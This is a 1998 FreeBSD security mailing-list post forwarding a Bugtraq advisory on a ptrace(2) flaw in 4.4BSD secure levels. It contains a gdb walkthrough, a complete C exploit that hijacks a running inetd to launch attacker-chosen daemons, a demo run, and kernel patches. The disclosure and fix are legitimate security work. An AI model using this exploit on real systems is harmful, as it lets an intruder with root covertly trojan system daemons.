From owner-freebsd-security Thu Jun 11 16:32:29 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA29492 for freebsd-security-outgoing; Thu, 11 Jun 1998 16:32:29 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from burka.rdy.com (dima@burka.rdy.com [205.149.163.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA29426 for ; Thu, 11 Jun 1998 16:32:07 -0700 (PDT) (envelope-from dima@burka.rdy.com) Received: (from dima@localhost) by burka.rdy.com (8.8.8/RDY&DVV) id QAA14202 for security@freebsd.org; Thu, 11 Jun 1998 16:32:05 -0700 (PDT) Message-Id: <199806112332.QAA14202@burka.rdy.com> Subject: Vulnerability in 4.4BSD Secure Levels Implementation (fwd) To: security@FreeBSD.ORG Date: Thu, 11 Jun 1998 16:32:05 -0700 (PDT) X-Class: Fast Organization: HackerDome Reply-To: dima@best.net From: dima@best.net (Dima Ruban) X-Mailer: ELM [version 2.4ME+ PL40 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Is it already fixed in -current and -stable? If not, when is it gonna be fixed? ----- Forwarded message from Niall Smart ----- >From burka.rdy.com!NETSPACE.ORG!owner-bugtraq Thu Jun 11 15:37:13 1998 Approved-By: aleph1@DFW.NET X-Mailer: Mail User's Shell (7.2.5 10/14/92) Message-ID: Date: Wed, 10 Jun 1998 22:50:35 +0100 Reply-To: Niall Smart Sender: Bugtraq List From: Niall Smart Subject: Vulnerability in 4.4BSD Secure Levels Implementation To: BUGTRAQ@NETSPACE.ORG Vulnerability in 4.4BSD Secure Levels Implementation Synopsis ======== 4.4BSD introduced the concept of "secure levels" which are intended to allow the system administrator to protect the kernel and system files from modification by intruders. When the system is running in secure mode file flags can be used to indicate that anyone, even the superuser, should be prevented from deleting or modifying the file, or that write access should be restricted to append-only. In addition device files such as /dev/kmem and those for disk devices are only available for read access. This protection is not intended to prevent system compromise, but instead is a damage limitation measure -- by preventing intruders who have compromised the root account from deleting logs of the intrusion or planting "trojan horses" their ability to hide their presence on the system or covertly gather sensitive information is reduced. We have discovered a vulnerability in all current implementations of secure levels which allow an intruder to modify the memory image of running processes, thereby bypassing the protection applied to system binaries and their configuration files. The vulnerability cannot be exploited to modify the init process, kernel memory or the protected files themselves. Details ======= The ptrace(2) system call can be used to modify the memory image of another process. It is typically used by debuggers and other similar utilities. Due to inadequate checking, it is possible to use ptrace(2) to modify the memory image of processes which have been loaded from a file which has the immutable flags set. As mentioned, this does not apply to the init process. This vulnerability is significant in that it allows an intruder to covertly modify running processes. The correct behaviour is to make the address space of these processes immutable. Although an intruder can still kill them and start others in their place, the death of system daemons will (should) draw attention on secure systems. An example exploit and patches are appended. Niall Smart, njs3@doc.ic.ac.uk. cstone, abc@ralph.ml.org. Exploit ======= There are a variety of daemons which an intruder would wish to trojan, inetd being one of the most obvious. Once the intruder controls inetd, any network logins handled by daemons started by inetd are completely under the control of the intruder. Other important daemons which are likely to be attacked include sshd, crond, syslogd, and getty. Here we present sample code which shows how to use ptrace(2) to attach to and control a running inetd and so that it starts daemons which we choose instead of those specified in inetd.conf. For the sake of explanation we will use the FreeBSD version of inetd compiled with debugging symbols. If you look at the inetd source you will see that it uses an array of struct servtab which represents the services specified in inetd.conf. The se_server member of struct servtab specifies the path to the server which handles requests for the service. When inetd accepts a new connection it searches this array for the appropriate entry, stores a pointer to the entry in the variable sep and then forks, the child then fiddles with file descriptors and execs the server. The fork happens on line 490 of inetd.c, we insert a breakpoint at this instruction and when we hit it modify the se_server member of the struct servtab which sep points to. We then insert another breakpoint later in the code which only the parent process will execute and continue, when we hit that breakpoint we change the se_server back to what it was. Meanwhile, the child process continues and executes whatever server we have told it to. # gdb --quiet ./inetd (gdb) list 489,491 489 } 490 pid = fork(); 491 } (gdb) break 490 Breakpoint 2 at 0x1f76: file inetd.c, line 490. (gdb) p &sep Address requested for identifier "sep" which is in a register. (gdb) p sep $1 = (struct servtab *) 0x1 (gdb) info reg eax 0x0 0 ecx 0xefbfda50 -272639408 edx 0x2008bf48 537444168 ebx 0xefbfda90 -272639344 esp 0xefbfd968 0xefbfd968 ebp 0xefbfda68 0xefbfda68 esi 0x1 1 edi 0x0 0 eip 0x1914 0x1914 eflags 0x246 582 cs 0x1f 31 ss 0x27 39 ds 0x27 39 es 0x27 39 (gdb) So, the first breakpoint address is at 0x1F76, and the sep variable has been placed in the register %esi which makes writing the exploit a bit easier. After the fork we want to stop the parent process only, inserting a breakpoint at line 502 will achieve that: (gdb) list 501,503 501 if (pid) 502 addchild(sep, pid); 503 sigsetmask(0L); (gdb) break 502 Breakpoint 1 at 0x1fc8: file inetd.c, line 502. Line 502 corresponds to the instruction at 0x1FC8. Finally, we will need some unused memory to write in the string for our replacement daemon, for this we can simply overwrite the code that performs the option processing: (gdb) break 325 Breakpoint 2 at 0x1a9a: file inetd.c, line 325. We take 64 bytes from 0x1A9A. Here is the exploit, the first three arguments specify the first and second breakpoints and the address of the spare memory and the last is the pid of the inetd to attach to. [ Note to script kiddies: you need root on the system first ] #include #include #include #include #include #include #include #include #include #include #if defined(__FreeBSD__) #define SE_SERVER_OFF 44 #elsif defined(__OpenBSD__) #define SE_SERVER_OFF 48 #endif #define INSN_TRAP 0xCC #define ARRSIZE(x) (sizeof(x) / sizeof((x)[0])) #define Ptrace(req, pid, addr, data) _Ptrace(req, #req, pid, (caddr_t) addr, data) void sig_handler(int unused); sig_atomic_t finish = 0; int pid; int _Ptrace(int req, const char* reqname, pid_t pid, caddr_t addr, int data) { int ret = ptrace(req, pid, addr, data); if (ret < 0 && errno != 0) { fprintf(stderr, "ptrace %s: %s\n", reqname, strerror(errno)); exit(EXIT_FAILURE); } /* this shouldn't be necessary */ #ifdef __FreeBSD__ if (req == PT_DETACH) kill(pid, SIGCONT); #endif return ret; } void sig_handler(int unused) { /* we send the child a hopelessly harmful signal to break outselves * out of ptrace */ finish = 1; kill(pid, SIGINFO); } struct replace { char* old; char* new; }; int main(int argc, char** argv) { struct reg regs; int insn; int svinsn; caddr_t breakaddr; caddr_t oldaddr; caddr_t spareaddr; caddr_t addr; caddr_t nextaddr; caddr_t contaddr; char buf[64]; char* ptr; struct replace* rep; struct replace replace[] = { { "/bin/cat", "/bin/echo" } }; if (argc != 5) { fprintf(stderr, "usage: %s \n", argv[0]); exit(EXIT_FAILURE); } breakaddr = (caddr_t) strtoul(argv[1], 0, 0); nextaddr = (caddr_t) strtoul(argv[2], 0, 0); spareaddr = (caddr_t) strtoul(argv[3], 0, 0); pid = atoi(argv[4]); signal(SIGINT, sig_handler); signal(SIGTERM, sig_handler); signal(SIGQUIT, sig_handler); /* * attach her up */ Ptrace(PT_ATTACH, pid, 0, 0); wait(0); Ptrace(PT_GETREGS, pid, ®s, 0); printf("%%esp = %#x\n", regs.r_esp); printf("%%ebp = %#x\n", regs.r_ebp); printf("%%eip = %#x\n", regs.r_eip); contaddr = (caddr_t) 1; while (1) { /* * replace the lowest byte of the dw at the specified address * with a breakpoint insn */ svinsn = Ptrace(PT_READ_D, pid, breakaddr, 0); insn = (svinsn & ~0xFF) | INSN_TRAP; Ptrace(PT_WRITE_D, pid, breakaddr, insn); printf("%x ==> %x @ %#x\n", svinsn, insn, (int) breakaddr); /* continue till we hit the breakpoint */ Ptrace(PT_CONTINUE, pid, contaddr, 0); do { /* FreeBSD reports signals twice, it shouldn't do that */ int sig; int status; wait(&status); sig = WSTOPSIG(status); printf("process received signal %d (%s)\n", sig, sys_siglist[sig]); if (finish) goto detach; if (sig == SIGTRAP) break; Ptrace(PT_CONTINUE, pid, 1, WSTOPSIG(status)); } while(1); Ptrace(PT_GETREGS, pid, ®s, 0); printf("hit breakpoint at %#x\n", (int) regs.r_eip - 1); /* copy out the pathname of the daemon it's trying to run */ oldaddr = (caddr_t) Ptrace(PT_READ_D, pid, regs.r_esi + SE_SERVER_OFF, 0); for (ptr = buf, addr = oldaddr; ptr < &buf[ARRSIZE(buf)]; ptr += 4, addr += 4) *(int*)ptr = Ptrace(PT_READ_D, pid, addr, 0); printf("daemon path ==> %s @ %#x\n", buf, (int)oldaddr); /* check if we want to substitute our own */ for (rep = replace; rep < &replace[ARRSIZE(replace)] || (rep = 0); rep++) if (!strcmp(rep->old, buf)) { printf("%s ==> %s\n", rep->old, rep->new); break; } /* copy the substitute pathname to some unused location */ if (rep != 0) { strcpy(buf, rep->new); for (ptr = buf, addr = spareaddr; ptr < &buf[sizeof(buf)]; ptr += 4, addr += 4) Ptrace(PT_WRITE_D, pid, addr, *(int*)ptr); Ptrace(PT_WRITE_D, pid, regs.r_esi + SE_SERVER_OFF, (int) spareaddr); } /* * replace the original instruction, set a breakpoint on the next * instruction we want to break in and then reset the daemon path, * and remove the last breakpoint. We could just single step over * the for syscall but all the crap involved in calling a fn in a * dll makes it easier to just to set a breakpoint on the next * instruction and wait till we hit that */ Ptrace(PT_WRITE_D, pid, breakaddr, svinsn); svinsn = Ptrace(PT_READ_D, pid, nextaddr, 0); insn = (svinsn & ~0xFF) | INSN_TRAP; Ptrace(PT_WRITE_D, pid, nextaddr, insn); Ptrace(PT_CONTINUE, pid, breakaddr, 0); wait(0); Ptrace(PT_GETREGS, pid, ®s, 0); printf("stepped instruction to %#x\n", regs.r_eip); Ptrace(PT_WRITE_D, pid, nextaddr, svinsn); contaddr = nextaddr; /* put back the original path */ if (rep != 0) Ptrace(PT_WRITE_D, pid, regs.r_esi + SE_SERVER_OFF, (int) oldaddr); } detach: printf("detaching\n"); Ptrace(PT_WRITE_D, pid, breakaddr, svinsn); Ptrace(PT_DETACH, pid, 1, 0); return 0; } So, lets try it out: # cat inetd.conf afs3-fileserver stream tcp nowait root /bin/cat cat /root/inetd.conf # telnet localhost 7000 Trying 127.0.0.1... Connected to localhost Escape character is '^]'. afs3-fileserver stream tcp nowait root /bin/cat cat /root/inetd.conf Connection closed by foreign host. # ps -aux | grep inetd root 1233 0.0 0.9 204 556 ?? SXs 11:41AM 0:00.02 ./inetd /root/inetd.conf # ./ptrace 0x1F76 0x1FC8 0x1A9A 1233 >/dev/null 2>&1 & [1] 1267 # telnet localhost 7000 Trying 127.0.0.1... Connected to localhost Escape character is '^]'. /root/inetd.conf Connection closed by foreign host. # Affected ======== BSD/OS, FreeBSD, NetBSD, OpenBSD. Patches ======= OpenBSD patched this problem yesterday. The following patches apply to FreeBSD-current and will apply to FreeBSD-stable with some tweaking of the line numbers. --- kern/sys_process.c Mon Jun 8 11:47:03 1998 +++ kern/sys_process.c Mon Jun 8 11:49:53 1998 @@ -37,6 +37,7 @@ #include #include #include +#include #include #include @@ -208,6 +209,7 @@ struct proc *p; struct iovec iov; struct uio uio; + struct vattr va; int error = 0; int write; int s; @@ -246,6 +248,11 @@ /* can't trace init when securelevel > 0 */ if (securelevel > 0 && p->p_pid == 1) return EPERM; + + if((error = VOP_GETATTR(p->p_textvp, &va, p->p_ucred, p)) != 0) + return(error); + if(va.va_flags & (IMMUTABLE|NOUNLINK)) + return(EPERM); /* OK */ break; --- kern/kern_exec.c Sun Jun 7 17:23:14 1998 +++ kern/kern_exec.c Tue Jun 9 14:08:10 1998 @@ -655,6 +655,8 @@ error = VOP_GETATTR(vp, attr, p->p_ucred, p); if (error) return (error); + if((p->p_flag & P_TRACED) && (attr.va_flags & (IMMUTABLE|NOUNLINK))) + return (EACCES); /* * 1) Check if file execution is disabled for the filesystem that this --- miscfs/procfs/procfs_vnops.c Tue May 19 09:15:00 1998 +++ miscfs/procfs/procfs_vnops.c Wed Jun 10 16:23:33 1998 @@ -129,6 +129,8 @@ { struct pfsnode *pfs = VTOPFS(ap->a_vp); struct proc *p1, *p2; + int error; + struct vattr va; p2 = PFIND(pfs->pfs_pid); if (p2 == NULL) @@ -144,6 +146,12 @@ if (!CHECKIO(p1, p2) && !procfs_kmemaccess(p1)) return (EPERM); + + error = VOP_GETATTR(p2->p_textvp, &va, p1->p_ucred, p1); + if(error) + return(error); + if(va.va_flags & IMMUTABLE) + return(EPERM); if (ap->a_mode & FWRITE) pfs->pfs_flags = ap->a_mode & (FWRITE|O_EXCL); ----- End of forwarded message from Niall Smart ----- -- dima To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message